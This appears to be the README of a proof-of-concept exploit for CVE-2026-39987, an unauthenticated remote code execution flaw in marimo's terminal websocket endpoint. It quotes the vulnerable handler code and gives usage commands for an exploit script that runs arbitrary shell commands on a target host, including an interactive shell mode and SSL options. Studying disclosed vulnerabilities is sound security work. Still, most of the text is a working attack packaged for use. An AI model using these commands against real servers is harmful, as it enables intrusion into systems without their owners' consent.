
CVE-2026-39987 for marimo 0.20.4 PoC
Info:
CVE-2026-39987 is a critical pre-authentication Remote Code Execution (RCE) vulnerability in Marimo (versions prior to 0.23.0)
Why it works:
The /terminal/ws endpoint is exposed without any authentication.
inside: marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
await websocket.accept()
# further down..
child_pid, fd = pty.fork()
As you can see there's no authentication check at all before it creates a PTY shell.
python3 CVE-2026-39987.py example.com -c 'whoami'
if it gives nothing and the target uses SSL use the --max-wait and --any-ssl arg.
python3 CVE-2026-39987.py example.com -c 'whoami' --any-ssl --max-wait 5
there's also interactive mode
python3 CVE-2026-39987.py example.com -i --any-ssl